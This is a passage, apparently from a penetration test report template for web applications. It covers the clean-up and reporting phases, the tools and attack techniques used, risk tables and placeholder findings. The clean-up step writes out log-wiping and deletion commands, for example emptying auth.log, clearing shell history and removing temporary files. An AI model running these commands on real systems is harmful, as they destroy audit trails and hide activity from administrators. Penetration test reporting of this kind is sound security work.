| **5. Clean-up** | Leaving no trace is crucial. Here, you cover your tracks, and more importantly, restore the system’s integrity without affecting operational functions.  **Approach**:   * **Log Clearing**: You ensure no log traces are left behind by targeting all relevant system logs: bash echo > /var/log/auth.log && history -c && rm -rf ~/.bash\_history * **Removing Shells**: If you created any backdoors or persistent shells, removing them is essential. This may involve deleting cron jobs or clearing tampered binaries: bash rm -rf /etc/cron.d/persistent\_script.sh * **User Audit**: Remove any created user accounts: bash userdel -r malicious\_user * **System Integrity**: Confirm that any system configurations altered during the test have been restored. * **Executed Commands**: - history -c && rm -rf /tmp/\* (Clear history and temporary files on Linux) - del <backdoor\_files> (Remove all files uploaded during exploitation) - shutdown -r now (Reboot to clear active sessions and close shells) |
| **6. Reporting & Remediation** | Finally, a senior pentester excels at comprehensive reporting. The real skill lies in communicating complex technical issues in a way that’s clear to all stakeholders — both technical and executive-level readers. **Approach**:   * **Documentation**: Capture every significant finding, from reconnaissance to post-exploitation. Include the tools and commands used, but also present the logic behind each attack, how it was executed, and the potential risks if left unmitigated. * **Technical Section**:   + **Vulnerability Description**: Detail each vulnerability, including **classification** (e.g., SQL Injection, XSS), and **severity** based on industry standards like **CVSS (Common Vulnerability Scoring System)**. For example: “SQL Injection on /login.php allows an attacker to extract sensitive database information. CVSS Score: 9.0 (Critical).” Include a screenshot of the successful SQLmap dump, or a similar visual PoC.   + **Proof of Exploitation**: Provide technical PoCs, including **screenshots of compromised systems**, **captured data** (with sensitive info redacted), and **code snippets**. For example, if a command injection was successful, include the full payload used and a screenshot showing root access gained on the target server.   + **Attack Chain Visualization**: As an experienced tester, you know that showing how multiple vulnerabilities can be chained together to create a full attack scenario is crucial. Use **attack flow diagrams** to map out complex attack chains that start from a low-risk vulnerability and lead to full system compromise. This helps the client understand the severity of seemingly low-risk issues.   + **Remediation Recommendations**: Based on your 10 years of experience, provide **detailed remediation steps** beyond the basics. For example, instead of just recommending “use prepared statements” for SQL Injection, offer practical examples of how the code can be implemented in specific languages like PHP or Python: php $stmt = $conn->prepare('SELECT \* FROM users WHERE username = ?'); - For web vulnerabilities like **XSS**, suggest **content security policies (CSP)** and **output encoding** methods with direct examples of secure code.   + **Security Hardening Advice**: Instead of just fixing individual vulnerabilities, you give broader **infrastructure hardening recommendations**: for instance, using **multi-factor authentication (MFA)**, proper **logging and monitoring practices**, and **regular vulnerability assessments**. - **Priority of Fixes**: Use a risk-based approach to recommend a priority for fixes. For example, start with critical vulnerabilities like remote code execution or SQL Injection and leave low-severity issues, like clickjacking, for last. Explain how certain risks (e.g., privilege escalation) might be a higher priority even if the CVSS score is lower, based on the system’s role.   + **Executive Summary Section**: - **Risk Assessment**: Summarize the overall **business risk**. Focus on the potential **financial impact**, **reputation damage**, and **regulatory compliance issues** if these vulnerabilities were exploited. Senior stakeholders are typically concerned with “what could happen” rather than technical specifics, so translate the technical jargon into **business risk language**.   + **Findings Overview**: Provide a high-level summary of the top 5-10 critical findings and their potential impact. Use simple metrics like “Critical SQL Injection vulnerability may expose customer data, leading to GDPR fines of up to €20 million.” This immediately catches the attention of decision-makers. * **Security Posture Improvement Suggestions**: Highlight key areas where security could be improved on a strategic level, such as **creating a security awareness program**, **performing regular penetration tests**, and **implementing a secure development lifecycle (SDLC)**. * **Cost of Mitigation**: Where relevant, discuss potential mitigation costs and suggest budget-friendly approaches, such as using **open-source security tools** like **ModSecurity** for web application firewalls, or leveraging **existing solutions** the client may already have but aren’t using fully. * **Timeline for Fixes**: Suggest a timeline for remediation based on the severity of vulnerabilities and resource availability. For example, recommend patching all critical vulnerabilities within **30 days** while addressing lower-risk issues in the next **60-90 days**. **Final Deliverables**: - A professional penetration test report broken down into **Technical Findings**, **Proof of Concept**, **Attack Narrative**, and * **Recommendations**. - **Remediation Sessions**: Offer to conduct workshops or training sessions with the client’s development or IT teams to go over the findings, assist with remediation efforts, and ensure they understand how to prevent future attacks. Also, suggest running a **post-remediation validation test** to ensure all issues were successfully fixed. * **Actionable Roadmap**: Provide an actionable roadmap for the client’s long-term security posture, including guidance on **hardening protocols**, **patch management**, and recommendations for future security tests, such as **red team assessments** or **social engineering** campaigns. |

### 

### Testing Frameworks & Standards

Our web application VAPT assessment follows industry-standard methodologies and guidelines such as **OWASP**, **PTES**, **NIST SP 800-115**, and **OSSTMM**. The approach ensures a structured, repeatable, and thorough process, designed to identify vulnerabilities that could be exploited by malicious attackers.

| **Framework/Standard** | **Purpose** |
| --- | --- |
| **OWASP Testing Guide** | A comprehensive guide for testing web applications against the OWASP Top 10 vulnerabilities, including SQL Injection, XSS, and CSRF. |
| **PTES** | The Penetration Testing Execution Standard, which provides structure and consistency in the execution of penetration tests. |
| **NIST SP 800-115** | A technical guide for information security testing, particularly useful for network vulnerability assessments and security testing. |
| **OSSTMM** | The Open Source Security Testing Methodology Manual, which ensures a formal and measurable approach to security testing. |

### Tools Used

Various industry-standard tools were employed during the assessment to perform both manual and automated testing. These tools are categorized based on their function and scope of use.

| **Category** | **Tools Used** |
| --- | --- |
| **Reconnaissance** | Shodan, Google Dorks, theHarvester, Sublist3r, DNSRecon |
| **Scanning & Enumeration** | Nmap, OWASP ZAP, SSLscan, Nessus, dirb |
| **Exploitation** | SQLmap, Burp Suite Pro, Metasploit, Hydra, XSSer, NoSQLMap, Commix |
| **Post-Exploitation** | Empire, Cobalt Strike, Wireshark, Mimikatz, Responder |
| **Password Cracking** | Hashcat, John the Ripper, Hydra |
| **Custom Scripting** | Custom Python and Bash scripts were utilized for automating specific attack vectors and enumerating targets based on unique application structures. |

### Attack Techniques

During the exploitation phase, we employed several attack techniques to compromise the application’s security. Below is a summary of the techniques used during this assessment:

| **Attack Type** | **Description** |
| --- | --- |
| **SQL Injection** | SQL injection was performed to manipulate SQL queries executed by the application. Tools like SQLmap were used for automated exploitation, while manual payloads were used for bypassing WAF protections. |
| **Cross-Site Scripting (XSS)** | Multiple types of XSS (Reflected, Stored, DOM-based) were identified, which could allow an attacker to steal session tokens, inject malicious scripts, or perform unauthorized actions on behalf of other users. |
| **Command Injection** | Command injection vulnerabilities were identified, allowing execution of arbitrary commands on the host system. Tools like Commix and manual payloads were used to exploit this vulnerability. |
| **Session Hijacking** | Session tokens were intercepted via MITM attacks using Wireshark or Burp Suite and replayed to hijack user sessions and gain unauthorized access to privileged accounts. |
| **Network Attacks** | Techniques such as Man-in-the-Middle (MITM), DNS hijacking, and ARP spoofing were used to test the resilience of the application against network-level threats |
| **Password Attacks** | Password spraying and brute-force techniques were executed using Hydra and custom wordlists. Weak passwords were cracked using Hashcat and John the Ripper. |

### Manual vs. Automated Testing

Both manual and automated techniques were utilized to ensure thorough coverage across the application. Here’s a breakdown of the two approaches:

* **Manual Testing**: This included custom-crafted payloads for injection attacks, business logic flaws, and complex vulnerabilities that automated tools may overlook. Manual efforts also involved testing for authorization bypass and improper session management that may lead to vertical and horizontal privilege escalation.
* **Automated Testing**: Automated tools like Nessus, Burp Suite Pro, and OWASP ZAP were used to quickly scan for commonly known vulnerabilities such as open ports, outdated software, weak SSL/TLS configurations, and misconfigurations.

By combining these two approaches, we were able to achieve both breadth and depth in the vulnerability assessment.

### Risk Assessment & Prioritization

Each identified vulnerability was evaluated and assigned a risk score based on its potential impact, exploitability, and severity. Below is the risk categorization model used:

| **Severity** | **Description** |
| --- | --- |
| **Critical** | Vulnerabilities that could lead to complete system compromise or data breach. Immediate action is required to prevent serious exploitation. |
| **High** | Vulnerabilities that present significant risk, such as unauthorized access or data modification, which could lead to a major security incident if exploited. |
| **Medium** | Moderate vulnerabilities that could be exploited in conjunction with other vulnerabilities or may pose a business risk. |
| **Low** | Minor issues that have minimal impact on security but may still be exploitable in specific circumstances. |

### False Positives and Validation

Each vulnerability discovered was manually validated to confirm its existence and potential impact. Any vulnerabilities flagged by automated tools as false positives were carefully analyzed and excluded from the report to ensure the findings are both relevant and actionable.

### Conclusion

The methodology employed for this assessment ensures that the web application has been thoroughly evaluated for security vulnerabilities. By combining manual and automated testing techniques, leveraging industry-standard tools, and following strict guidelines, we provided a comprehensive analysis of potential threats. Remediation recommendations are provided to address critical vulnerabilities and improve the overall security posture of the application.

# **ASSESSMENT FINDINGS**

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| **Number** | **Finding** | **Risk Score** | **Risk** | **Page** |
| 1 | Example Vulnerability Finding | **9** | **High** | 2 |
| 2 | Firewall Rule Set Not Best Practice | **8** | **High** | 5 |
| 3 | Outdated Software | **6** | **Medium** | 4 |
| 4 | Multiple XYZ Vulnerabilities | **5** | **Medium** | 3 |
| 5 | Fake Finding | **2** | **Low** | 20 |

TEMPLATE NOTE: (Sorting by descending risk score)

## **1. SQL Injection Vulnerability on /login.php (Critical)**

### Information Gathering (Reconnaissance)

* Step -1
* Step -2
* Step -3
* Step -4
* Step -5

### Vulnerability Details

| **Vulnerability** | SQL Injection |
| --- | --- |
| **Description** | Allows attackers to manipulate database queries, potentially bypassing authentication and accessing sensitive data. |
| **Location** | /login |
| **CWE ID** | CWE-89 |
| **OWASP Mapping** | A1 - Injection |
| **CVSS Score** | 9.8 |
| **Severity** | High |
| **Risk** | Critical |
| **Likelihood** | HighLikelihood of exploitation within the context of the organization and current trends |
| **Impact** | Severe |
| **Status** | Not Solved |
| **Affected Component** | Login Form |
| **Technique** | Second Order |

### Used tools

| **Tools Used** | **Usage** |
| --- | --- |
| Dig, WHOIS | DNS Reconnaissance |
| Nmap | Port Scanning |
| Nessus | Vulnerability Scanning |

### Analysis and Steps to Reproduce

Analysis

A screenshot of a computer program

Description automatically generated

**Figure 2.3.1**: A php webshell uploaded to XYZ Application

Steps to Reproduce (POC)

### Recommendation

* Remove XYZ to make things more secure
* If you can not remove XYZ do this…

### Post Penetration Cleanup

| **Action** | **Host** | **Reason** |
| --- | --- | --- |
| Reboot host | 192.168.20.1 | To clear memory-resident exploit code. |

### References (opt)

* <https://github.com/Sevaarcen/RADAR/tree/master/radar/playbooks>
* <https://owasp.org/www-project-top-ten/>

# **Appendix**

## **A- CLASSIFICATION DEFINITIONS**

### Risk Classifications

|  |  |  |
| --- | --- | --- |
| **Level** | **Score** | **Description** |
| **Critical** | **10** | The vulnerability poses an immediate threat to the organization. Successful exploitation may permanently affect the organization. Remediation should be immediately performed. |
| **High** | **7-9** | The vulnerability poses an urgent threat to the organization, and remediation should be prioritized. |
| **Medium** | **4-6** | Successful exploitation is possible and may result in notable disruption of business functionality. This vulnerability should be remediated when feasible. |
| **Low** | **1-3** | The vulnerability poses a negligible/minimal threat to the organization. The presence of this vulnerability should be noted and remediated if possible. |
| **Informational** | **0** | These findings have no clear threat to the organization, but may cause business processes to function differently than desired or reveal sensitive information about the company. |

### Risk Grades

|  |  |  |
| --- | --- | --- |
| **Grade** | **Security Criteria** | **Description** |
| **D** | **Poor** | Significant security deficiencies. Immediate attention required to address exposures. Major changes needed to meet industry best practice standards. |
| **C** | **Fair** | Current solutions protect some areas of the enterprise. Moderate changes required to meet industry best practice standards. |
| **B** | **Good** | Security meets accepted standards of industry best practice. Only medium- and low-risk shortcomings identified. |
| **A** | **Excellent** | Security exceeds industry best practice standards. Only low-risk findings identified. |

### Exploitation Likelihood Classifications

|  |  |
| --- | --- |
| **Likelihood** | **Description** |
| **Likely** | Exploitation methods are well-known and can be performed using publicly available tools. Low-skilled attackers and automated tools could successfully exploit the vulnerability with minimal difficulty. |
| **Possible** | Exploitation methods are well-known, may be performed using public tools, but require configuration. Understanding of the underlying system is required for successful exploitation. |
| **Unlikely** | Exploitation requires deep understanding of the underlying systems or advanced technical skills. Precise conditions may be required for successful exploitation. |

### Business Impact Classifications

|  |  |
| --- | --- |
| **Impact** | **Description** |
| **Major** | Successful exploitation may result in large disruptions of critical business functions across the organization and significant financial damage. |
| **Moderate** | Successful exploitation may cause significant disruptions to non-critical business functions. |
| **Minor** | Successful exploitation may affect few users, without causing much disruption to routine business functions. |

### Remediation Difficulty Classifications

|  |  |
| --- | --- |
| **Difficulty** | **Description** |
| **Hard** | Remediation may require extensive reconfiguration of underlying systems that is time consuming. Remediation may require disruption of normal business functions. |
| **Moderate** | Remediation may require minor reconfigurations or additions that may be time-intensive or expensive. |
| **Easy** | Remediation can be accomplished in a short amount of time, with little difficulty. |

## **B- Resolution Status**

| **Status** | **Description** |
| --- | --- |
| **Unsolved** | Issue reported but not resolved. Requires further action. |
| **Under Review** | Fixes implemented by the customer are under evaluation by the security team. |
| **Accepted Risk** | Customer has chosen not to resolve the issue, accepting the associated risk. |
| **Help Wanted** | Customer requests clarification or assistance from the security team to address the issue. |
| **Solved** | Vulnerability successfully resolved and verified by the security team. Risk is mitigated. |

## **C - Compromised Assets / Users**

| **Host** | **Scope** | **User/Privileges** | **Damage** |
| --- | --- | --- | --- |
| [Host X] | [Scope] | [Method] | [Notes] |

## **D – Additional ENGAGEMENT INFORMATION**

**Approves Information**

|  |  |
| --- | --- |
| **Client** | <CLIENT NAME> |
| **Approvers** | The following people are authorized to change the scope of engagement and modify the terms of the engagement   * <PERSON NAME 1> * <PERSON NAME 2> |

**Version Information**

|  |  |  |
| --- | --- | --- |
| **Version** | **Date** | **Description** |
| 1.0 | <DATE HERE> | Initial report to client |